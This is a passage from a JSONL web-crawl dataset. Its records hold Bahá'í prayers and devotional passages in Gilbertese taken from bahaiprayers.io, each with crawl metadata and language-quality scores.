te Kairake ni karawa e rabunaki n rotongitongin te bubuntano. E a kaikuakaki mataniwiin uean te tangira irouia aomatan te tua-buaka ao e a wene ni kabureaki te taobe ae tabu ni ukin waeia aoere (owls). A tang ma n tanginiwenei taan maeka ni umwan te mimitong ao kaain te runga ni karawa, ao ngkoe ko wene n rau n aonaaban te aki tatabeakin, ao n iangoi ngkami bwa raao ni koaua. Ai akeara nanon ami iango ni katautau akanne!","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403240","date":"2019-10-23T06:22:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987829458.93\/warc\/CC-MAIN-20191023043257-20191023070757-00056.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":104,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"I a tia n teirake n te ingabong aei man Nanom n aakoi, Atuau, ao ni kiitana mweengau ma ni kabwanina au onimaki Iroum, ao ni kaburea taekau nakon Am kakaawakin. Karuoa, ngkanne, nako aou, man karawan Am atataiaomata, te karaoiroi teuana mai Rarikim, ao e na konaa iai n reke irou okiran mweengau i nanon te mauri n ai aron are Ko a tia n anganai te konaa ni mwananga i aan Am kakaawakin ma au iango ake a tia n teimatoa ni kaineti Nakoim.\nBon akea riki Te Atua bwa ti Ngkoe, te Onoti n Ti Ngaia, ae Akea Kabotauana, te Kabanea n Ataibwai, te Kabanea ni Wanawana.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190215010","date":"2019-10-16T10:47:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986666959.47\/warc\/CC-MAIN-20191016090425-20191016113925-00042.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":31,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":110,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.382,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE TAMAROA O!\nN Tamneiu ao n Au bwai n akoi! N Au atataiaomata ao n Tamaroau! Bwaai ni kabane ake I a tia ni kaotia nakoim n te newe ae e korakora, ao n tia ni koreia i bukim n te kai ni koroboki ae e mwaaka, a bon katauaki nakon konabwaim, tiaki n Aroarou ao n tangin Bwanaau.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=60401680&to=gil","date":"2019-10-23T06:14:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987829458.93\/warc\/CC-MAIN-20191023043257-20191023070757-00100.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":61,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.475,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"AI KANANOKAAWAKIRA! AI KANANOKAAWAKIRA! O NGKAMI AIKA KAM TANGIRI KAKUKUREIN TE AONAABA!\nKam a tia n rirarikin Teuare E tangiraki n aron butin te iti, ao n tia ni katokai nanomi n ana bwai taatan. Kam katorobubua i matan ami iango ni katautau, ao n atoatonga koauana. Kam rairi matami nakon te kateketeke, ao n aranna bwa te ue. Kam a tia n aki ikeikena te ikeike ae kororaoi, ke e a tia ni kare angin te kamwawaaki man tawaanan nanomi. Kam a tia ni karenako nakon te ang Ana reirei n tangira Teuare E tangiraki ao n tia ni kaakeai n ami taetae man buatuan nanomi, ao ai aroia naba manin nako te marae, kam mwananga ao a mena maiumi i nanon tawaanan te tinanikubeka ao te kaibwabwaru.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403460","date":"2019-10-15T00:27:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986655554.2\/warc\/CC-MAIN-20191014223147-20191015010647-00360.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":129,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.372,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N aran te Atua, Bwain Ngkoa Ngkoa, te Kabanea ni Korakora.\nNi koaua ao nanoia naake a kokoaua a kanaki n ain te raurenako: E nga raitiitin otan Moamoam O ae Ko Tangiraki irouia aonnaba?\nNaake a uakaan Nakoim a tia ni kitanaki inanon rotongitongin te urubeke: E nga raneanean ingabongin te manga kaitiboaki ma Ngkoe, O Ae Ko Tangiraki irouia aonnaba?\nRabwataia ake Ko rineia a wene n ruru iaon taian tano i kiraroa: e nga marawan Menam ikai, O te Tia Katikinanoi aonnaba?\nBaai aika a ingainga a mwemwekaki nakon karawan Am akoi ao Am tituaraoi: E nga karaun Am Angaanga, O te Tia Kaekai aonnaba?\nTaan iowawa a tia n teirake ni kakiriwe ni katoai taabo nako: e nga korakoran Am kainikoroboki ae e katabuaki, ae e aki kona ni kaaitaraki, O Ngkoe Te Tia Tokanikai iaon aonnaba nako?\nKaukauiia kamea e nene n itera nako: e nga raianin te buakonikai ni Mwaakam, O te Tia Kaetietii aonnaba nako?\nTe mwaitorotoro e a tia ni komakiia aomata nako: E nga kabuebuen Am tangira, O Ain taian aonnaba?\nTe kabuanibwai e a roko n rietaatana: A nga kanikinaean Am ibuobuoki, O Te Tia Kamaiuia taian aonnaba?\nE a tia te rotongitong n otabwaniniia angiia aomata: E nga otamwaakan Raneaneam, O Otanakon taian aonnaba?\nRoroaia aomata a reena nako n te kairiribai: A nga kabaangin Am karekekai, O Te Tia Urui taian aonnaba?\nTe kamaemaeaki e a roko ni kabin rinanona: A nga kanikinaean Mimitongim, O Mimitongin taian aonnaba?\nTaian karawawata a tia n kaikuaka te Tia Kaotiota Aram, te kabanea n Nanoanga: e nga kakukurein Ngainan aomarin Am Kaotioti, O Kakukurein taian aonnaba?\nTe nakonnano e a tia ni bwakariia aomata n te aonnaba: A nga kanikinaean Am kakukurei, O te Tia Kakukureia taian aonnaba?\nKo nora Kaotin te Karangaina Am kanikina n rabunaki n taian kaoti aika a riaboro: A nga tabonibain Mwaakam, O Korakoran taian aonnaba?\nTe bwatakataka e a tia n taoniianako aomata ni kabane: E nga karaangan Am tituaraoi, O Te Tia Nanoangaia kaain taian aonnaba?\nTe mwangainrang e a tia ni kabaeia aomata nako: A nga karabwataakin te kamwawaaki, O Uean taian aonnaba?\nKo nora Teuae Kabureaki aio ae maroaa inanon kakionakoana mai abana: A nga taan kairua ni karawan Am Kaetieti, O Uean Taian aonnaba?\nI a tia ni katioaki n te aba ae ianena: A nga kanikinaean Am kakaonimaki, O Te Tia Onimakinaki n Taian aonnaba?\nKammarakin te mate e a tia n tauiia aomata nako: E nga utin Am marawa ibukin te maiu ae akea tokina, O Maiun taian aonnaba?\nAna wirikiriki Tatan, e a tia n ikeike nakoia karikibwai ni kabane: E nga atibun karawan Am ai, O Otan taian aonnaba?\nMangingin te kaibwabwaru e a tia ni kabarekaia angiia te botanaomata: A nga ngainan aomarin te itiaki O ae Ko Tangiraki n taian aonnaba?\nKo nora Teuare e Kabureaki aio n rabunaki n taian mwakuri ni iowawa ibuakoia kaain Syria: E nga raitiitin Am ota n te karangaina? O Ngkoe Otan taian aonnaba?\nKo norai ae I katabuaki n taetaenikawai: Ao ngkanne mai ia ae e na bwebwerake Eenikunam, O Naitengkaren taian aonnaba?\nAngiia aomata a otabwaniniaki n taian katautau ao iango aika akea nanoia: A nga kanikinaean am kakaonimaki, O Te Tia Kakoaua ibukin taian aomata?\nE a bwabwa Bahá inanon marawan te kabuanibwai: E nga te Aake ibukin Kamaiuam, O te Tia Kamaiui taian aonnaba?\nKo nora Ngainan aomarin Am Taetaenikawai inanon rotongitongin te karikibwai: E nga taain karawan Am akoi, O te Tia Anga te Ota nakon taian aonnaba?\nTauran te koaua ao te itiaki, te kakaonimaki ao te karineaki, a tia n tiringaki: A nga kanikinaean Unim ni Kabomwi, O te Tia Kamwaingi taian aonnaba?\nKo kona n nora temanna ae e tei n tiambion Ibukiu, ke ae ni iangoi bwaai ake a tia ni bwakaria inanon kawain Ana tangira? Ngkai ao e tei moa Au kai-ni-koroboki, O ae ko Tangiraki n taian aonnaba.\nMwaangau te Kai te Rote ni Karawa e wene ni mwaoto ni korakoran ukin te katauaki ibukina: A nga taian buraeki n Am ibuobuoki, O Te Tiambion n taian aonnaba?\nTe Ubu aio e raba ibuakon bubun te taetae n aki akaaka: A nga beebeten angin Am nanoanga, O Te Tia Nanoangaia taian aonnaba?\nKamwarain te maiu ae katabuaki e kabarekarekaaki irouia aomata aika a babakanikawai: E nga te kunnikai ae tabu, O te Tia Katamaroai taian aonnaba?\nMarawan te akoi e aki kakamwakuri ibukin mwakuri ake a karaoi aomata: A nga naon Am Tituaraoi, O ae ko tangiraki irouia aonnaba?\nTe mataroa are e kaineti nakon Kaaniam ni Karawa e rokanaki rinanon aia iowawa Am kairiribai: E nga kiingin Am angaanga, O te Tia Kauki Rokan taian aonnaba?\nA kababoboaki taian banikai man boitinin angin te kakaaitara: E nga bwaron karaun Am tituaraoi, O te Tia Angaanga nakon taian aonnaba?\nE karooaki te aonnaba man barekan bubun te bure; A nga beebeten angin Am kabwarabure, O te Tia Kabwarai bureia kaain te aonnaba?\nTe Roronrikirake aei e maroaa n te aonnaba ae e urubeke: E nga karaun am tituaraoi ni karawa, O te Tia angaanga nakon taian aonnaba?\nO te Kabanea n Rietaata ni Kainikoroboki, ti a tia n ongo am kabanea ni karewerewe ni wewete inanon te aonnaba ae akea tokina: Anga taningam nakon te bwai are e atonga Newen te Korakora , O te Tia kabureaki n taian aonnaba!\nKe arona bwa akea te mwaitoro, e na kanga kabuebuen Am taeka n teimatoa, O Te Tia katanoata n taian aonnaba?\nKe arona bwa akea te kabuanibwai, ao e na kanga n oti taain Am taotaonannano, O Otan taian aonnaba?\nTai tanginiwenei ibukiia aika a buakaka. Ko a tia ni karikaki bwa ko na keiakina uotam ao ni butimwaai kanganga, O te Tia Taotaonanano n taian aonnaba.\nAi karewerewera Kaotim n te karangaina iaon oraitanin te Boraraoi ibuakoia taan kakiriwe, ao Am ingainga nakon te Atua, O ae ko Tangiraki irouia aonnaba.\nIroum ao buraekin te inaomata e unikaki iaon taubuki aika a ririeta, ao marawan te tituaraoi e uti, O te Tia Kakukurei Taian aonnaba.\nBon ti mai Iroum are e a otanako iai Taain te Katiteuana, ao man Kanakoakim mai Abam ae aban te Katiteuanaaki e a katamaroaaki. Taotaona Nanom, O Ngkoe te Tia Kakawakinaki mai abam n taian aonnaba.\nTi a tia ni karaoa te kamaemaeaki bwa te kunnikai ni mimitong, ao te kammarakaki bwa katamaroan Am tembora, O te Tia Kamoamoaki n taian aonnaba.\nKo noori nano a onrake n te kairiribai ao tarariaoakiia bon Am bwai, O te Tia Rabuni buren te aonnaba.\nNgkana a kia taian kabaang, waakirake!\nNgkana a kibanako rabunaia, mwananga nako!\nO Ngkoe Te Tia Kaburearo n taian aonnaba.\nKo na tang, ke Nna tang? Ni bon arona, Nna tang ibukin karakoia ara tiambion, O Ngkoe are Ko karika tangitangin taian aonnaba. Ni koaua ao I a tia n ongo taian Wewete, O Ngkoe ae te kabanea ni Mimitong man Tangiraki, ao ngkai moamoan Bahá e urarake ni kabuebuen taian kabuanibwai ao ma ain Am taeka ae raneanea, ao e a tia n teirake ma te kakaonimaki n nnen te kaburearo , ni kaitarai Kukureim, O Ngkoe te Tia Kataui Bwai nako n taian aonnaba.\nO Ali Akbar, karabwa am Uea ibukin te Tabureti aio ike ko kona n ikeikena boiararan Au kamangori, ao atai bwai ake Ti a tia n aitara ma ngaai inanon kawain Te Atua, te Rangin Tangiraki inanon taian aonnaba nako.\nNgkana a bane tooro nako ni wareka ao ni karaua n iangoa aio, ao e na kakiaaki inanon iaia te ai ae e na kaurarakei taian aonnaba.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190301013","date":"2019-10-23T19:23:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987835748.66\/warc\/CC-MAIN-20191023173708-20191023201208-00351.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":34,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1271,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.309,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"(An botaki ngkami n te kimwareirei ae akea renganana, ao ni moanakin te bowi, atonga te tataro aio):\nNgkoe Uean te Abanuea! E ngae n are rabwatara a botaki ikai, ma nanora a mwaneraoi ni uotakinako n Am tangira, ao ti a tabekaki nako n ootan Moam ae e oota nako. E ngae n are ti ngore ma ti a tataninga kaotiotakin Mwaakam ao Korakoram. E ngae n are ti a kainnano n akea ara bwai ao akea angara, ma ti bon anaanai baike a bobuaka man kaubwain Abanueam. E ngae n are timtim ngaira, ma ti bon tootoom man kabin nanon Am marawa. E ngae ngke ngaira bubuntano, ma ti bon raitiiti man mimitongin Am Taai are raneanea.\nNgkoe ae te Tia Angaanga! Karuoa Am buoka, bwa ni kabane aika a botaki ikai a na riki n tatabemaniia bwa te taura te nenea ae ura, boton te kariirii, te tia weewete nakon Abanueam ake i karawa, bwa n tokina ao ti na karika te aonaaba ae ai moone aio bwa katootongan Am Bwaretaiti.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190304020","date":"2019-10-23T06:12:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987829458.93\/warc\/CC-MAIN-20191023043257-20191023070757-00152.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":174,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.42,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE AONAABA O!\nNgkana ko Rineai, tai ukoukora temanna riki i Rarikiu, ao ngkana ko taraa Tamaroau, kaina matam nakon te aonaaba ao bwaai ake iai; bwa are I nano iai ao are e nano iai temanna i Rarikiu, n ai aron te ai ao te ran, a aki konaa ni maeka i nanon teuana te nano.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403320","date":"2019-10-15T00:22:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986655554.2\/warc\/CC-MAIN-20191014223147-20191015010647-00395.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":58,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kamooai, O Ngkoe Atuau, man karewen boiararan karaangan Am aki tootoki, ao katauai bwa Nna katoonga uanikain oioin Arom, O Ngkoe au Kaantaninga! Man itiakin nein Am tangira katauai bwa Nna nimma, O Ngkoe au Mimitong, ao kataua i bukiu bwa Nna maeka i aan nuun Am tabo ni kamanomano ae akea tokina O Ngkoe Ootau! Karikai bwa Nna aiwaa i nanon tawaanan Kaaniam, are bon i Matam, O Ngkoe are I rangi n tangiria, ao katekatekaai i angatain kaintokanuean Am nanoanga, O Ngkoe are I nano Irouna! Kataua te ikeike bwa e na riaou man boiararan angin nako Kukureim, O Ngkoe au Katoki, ao katauai nakon rietan nako Baretaitin Oioim, O Ngkoe are I kamoamoaa! Katauai bwa Nna ongo tangin bwanaan nako Taoben Arom ae ti teuana, O Ngkoe te Oota-mwaaka, ao rinanon tamnein Mwaakam ao Korakoram kamaiuai, O Ngkoe te Tia Kakatauraoi i bukiu! Karikai bwa Nna teimatoa n tamnein Am tangira, O Ngkoe te Tia Kateimatoa, ao kamatoai waeu i nanon kawain Nanom are Ko tangiria. O Ngkoe are Ko karikai! Kataua bwa Nna maeka n akea tokina i nanon onarokan Arom n tamnei, i bon Matam, O Ngkoe are Ko bon nananoangaai, ao kateiraoai i aon kaintokan Mimitongim, O Ngkoe are te Tia Bwainai ni koaua! Tabekai rake nakon karawan Am tangira n aakoi, O Ngkoe te Tia Kamaiu, ao n Itoin Ngainan Am kairiiri kairiirai O Ngkoe are I matennanoia! Weteai bwa Nna mena i mwaain kaotiotan nako Arom n tamnei are a aki nooraki, O Ngkoe are Rikiau ao rietaatan are I kainnanoia, ao karikai bwa Nna manga oki nakon oioin boiararan Tamaroam are Ko na bon kaotiotia, O Ngkoe are bon Atuau!\nKo bon mwaaka ni karaoa are Ko nano iai. Boni Ngkoe, ni koaua, te kabanea n Rine, te Kabane ni Mimitong, te Kabane n Rietaata.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=70204020&to=gil","date":"2019-10-22T04:56:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987798619.84\/warc\/CC-MAIN-20191022030805-20191022054305-00102.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":304,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.28,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko na neboaki Ngkoe, O Atuau! Aikai Am toro aika a katikaki nakon boiararan Am nanoanga, a kakiaki man ain te aroka are ura are bon Mairoum n tii Ngkoe, ao mataia a kakukureiaki man taraakin raneanean te oota are otanako mai Sinai are bon Mairoum n tii Ngkoe.\nO te Uea! Kabwaranakoi neweia bwa a na atoatongko ibuakoia Am aomata, kariaiia bwa a na taetaekina nako Neboam rinanon Kukureim ao Am tangira n akoi, buokia ma Am tanga n anera, kamatoai nukaia inanon Am beku, ao karaoia bwa kanikinaean nako Am kairiri ibuakoia Am karikibwai.\nNi koaua, bon Ngkoe te Kabanea ni Mwaaka, Taubukin te Rietata, Akea Tokin Am Kakabwarabure, te Kabanea n Nanoanga.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190221120","date":"2019-10-22T04:53:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987798619.84\/warc\/CC-MAIN-20191022030805-20191022054305-00111.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":115,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.2,"stopwords_ratio":0.287,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI AOMATA AIKA IAI AIA IANGO N ATAIA AO TANINGAIA N ONGO!\nAna moa ni weewete Teuare E tangiraki bon aei: O ngkoe te naitengkare n tamnei! Tai tiku n te tabo teuana ma ti n onarokan te rooti n tamnei. O ngkoe Ana tia uarongorongo n tangira Toromon! Tai ukoukora te kamanomano teuana ma ti iroun Tiebwa are te rangi n tangiraki, ao ngkoe te binikiti ae akea rabwatana! Tai maeka n te tabo teuana ma ti ni maungan te kakaonimaki. Are i nanon am tabo ni maeka, bwa tao i aon bainikiban nako tamneim are ko kiba iai nakon abanuean te tamnei ao ni ukoukora karekean am kouru.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=40503020&to=gil","date":"2019-10-23T11:40:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987833089.90\/warc\/CC-MAIN-20191023094558-20191023122058-00069.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":111,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.396,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O TE NATI TE MWANE AE NATIN AU TABONIBAI TE AINE!\nTai rootaki n te kainnano ke n onimaki n te kaubwai bwa te kainnano e bon ruamwiiaki n te kaubwai, ao te kaubwai e ruamwiiaki n te kainnano. E ngae ngke ti kainnano ni bwaai nako ma ti Te Atua ae te bwaintangira ae e kamiimi, tai kauarerekea iangoakin, bwa n tokina e na karikiko ni kaubwai iroun Te Atua, ao ngkanne ko na bon ataa nanon te taetae aei, \"Ni koaua kam bon kainnano,\" ao te taeka ae tabu, \"Te Atua bon te Tia Bwaibwai ni Bwaai ni kabane,\" n ai aron te ingaabong ni koaua e ingirake ni mimitong raneaneana i aon oraitanin nanon te tia tangira, ao n tiku n rau ni kaintokan te kaubwai.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403520","date":"2019-10-23T11:35:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987833089.90\/warc\/CC-MAIN-20191023094558-20191023122058-00077.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":129,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te kamoamoa Nakoim, O Ngkoe te Uea Atuau, au Mwatita! Ko ongo ikenrawaia naake ake, e ngae ngke a ingainga ni kan nora Moamoam, ma a bon karaurenakoaki mai iroum ao a raroa nako man Am tabo. Ko kakoaua nakon tanginiweneia naake a tia ni kinako ni kabwaronakoi ibukin taemwengaakiia mai iroum ao ingaingan nanoia ni kan kaitibo ma Ngkoe. I bubutiko n nanoia naake akea nanoia ma bon ti kaubwain Uringakim ao kamoamoaakim, ao ake a kaotii akea bwa bon ti taian kakoaua ake a taekinaki ibukin Kakannatom ao taian kanikinaa ibukin kakoauaakin Korakoram, bwa ko na kabwaroa nako aoia Am toro ake a Tangiriko te korakora ni kona ni kaaniia kaintekatekan kaotiotin otanakon Mimitongim ao ni buokiia naake aia kantaninga a toka Iaom n rinnako inanon umwan Am mwamwanano ae e rooti taabo nako ao Am nanoanga.\nAkea karabaau, O Atuau! Kunnikainai ma kamwarain Am nanoanga n akoi. I bora n taka, anganai bwa Nna moi man marawan Am mwamwannano ae e titituaraoi. Te ianena ngai, katikai ni kaaniai nakon boton Am bwaintangira. I aoraki, tamrurua nako aou ranin kamaiu man Am tituaraoi. I kainaki n aki kainaomataaki, kanakoa mai aou taian kabaebae, ma ni mwaakan korakoram ao rinanon korakoran Nanomatoam, bwa I aonga ni kona n taabeibeiti iaon bain ni kiban te kamwawaaki nakon rietan taubukin Am karikibwai. Ngkoe, ni koaua, ae Ko karaoa are Ko rineia. Bon akea te Atua bwa ti Ngkoe, te Buoka n tain te Kanganga, te Kabanea ni Mimitong, te Aki Taueeaki Arona.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190202060","date":"2019-10-22T04:56:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987798619.84\/warc\/CC-MAIN-20191022030805-20191022054305-00343.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":251,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.194,"stopwords_ratio":0.295,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE AOMATA O!\nA mwaiti boong aika a tia n riaom ma ko katabeko ma am iango ake ko bon taku ao katautau aika akea uaaia. Maanra riki am tai ni matuu i aon am kai ni wene? Tabeka atuum man mwanioniom, bwa e a tawanou taai, tao e na kaootako ma ootan te tamaroa.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190401630","date":"2019-10-24T05:44:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987841291.79\/warc\/CC-MAIN-20191024040131-20191024063631-00287.warc.gz","language":"gil","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000070333480835}","num_words":56,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.339,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ni kabane tamnei ake a mwananga inanon kaawa aika bubura, kaawa aika uarereke ao bwariko n auti tabeua n aono aikai ao e katabea ma kakianakoan boiararan te Atua, e na wareka aio ni karaurau ni katoa ingabong:\nO Atuau! O Atuau! Ko noorai n au kabanea n rinano ao ni mamara, katabeaki ma te mwakuri ae rangi ni korakora, nanomwaaka n irakea Am taeka ibuakoia te mwaiti ae korakora ao ni kauamaea Am reirei nako ibuakoia Am aomata. Nna kanga n tokanikai ma tii man Am ibuobuoki nakoiu ao ikeiken te Tamnei ae Raoiroi, buokai n tokanikai man te runga are n Am abanuea ae mimitong, ao kabwaka ni karau nako aou Am kamatoa nako, are bon tii mai iai e kona ni bita te manibeti nakon te ikare, ao te tim n ran nakon taian karanga ao taian taari, ao te atom nakon taian oota ao taian taai? O au Uea! Buokai ma Am tokanikai ae rianako ao korakoram ae kakai, n te aro bwa neweu e na kona n tataekina Neboneboam ma Aroarom nako ibuakoia ni kabane aomata ao e na taonako tamneiu ni wainin Am tangira ao Am atatai.\nBon Ngkoe te Korakora ao te Tia Karaoi Bwaai nako nakon Kukureim.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190221090","date":"2019-10-14T04:57:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986649035.4\/warc\/CC-MAIN-20191014025508-20191014052508-00487.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":205,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.356,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI NATIN ATAM!\nTaeka aika a tabu ao mwakuri aika a itiaki ma n tamaroa ake a rierake nakon karawan te mimitong. Keiakinna bwa e aonga ni kaitiakaki ami mwakuri man bubuntanom ao kaibwabwarum ao ni kunea te katauaki ni botakin te mimitong, bwa n te tai ae e aki maan te botannaomata nako, i matan Teuare E tangiraki, a na bon akea riki te bwai ae a na karekea ma ti aroaro aika a tabu ao mwakuri aika a itiakiroaroa. Bon aio itoin-ngainan te niniwana ao te kamiimi n tamnei are e a tia ni kaotaki i aon oraitanin te kaantaninga n tamnei. A kakabwaiaaki ake a rairaki nako iai.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403700","date":"2019-10-18T00:36:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986677230.18\/warc\/CC-MAIN-20191017222820-20191018010320-00257.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":112,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.482,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI KAKAIN AU KAINTOKANUEA!\nTai ongo te buaakaka, ao tai noora te buaakaka, tai kamangoriko, ke n tang ao n tanginiwenei. Tai taekina te buaakaka, bwa ko aonga n rawa n ongo n taekinaki nakoimi, ao tai taekina aia kaairua tabeman bwa aonga n aki oti am kaairua ni korakora; tai tangira kamangoraia tabeman, bwa e na aki kaotaki iai mangorim. Maiun ngkanne bongin maium, ake a karako riki nakon waanakon te tai, ma am iango ae e aki baareka, nanom ae e aki kamemeaaki, am ururing, ae e kororaoi, ao rikiam e katabuaki, bwa aonga ni kainaomataaki ao n rauaki, bwa ko aonga ni kaaki te nana n rabwata aei, ao onoiko nakon te bwaretaiti n tamnei 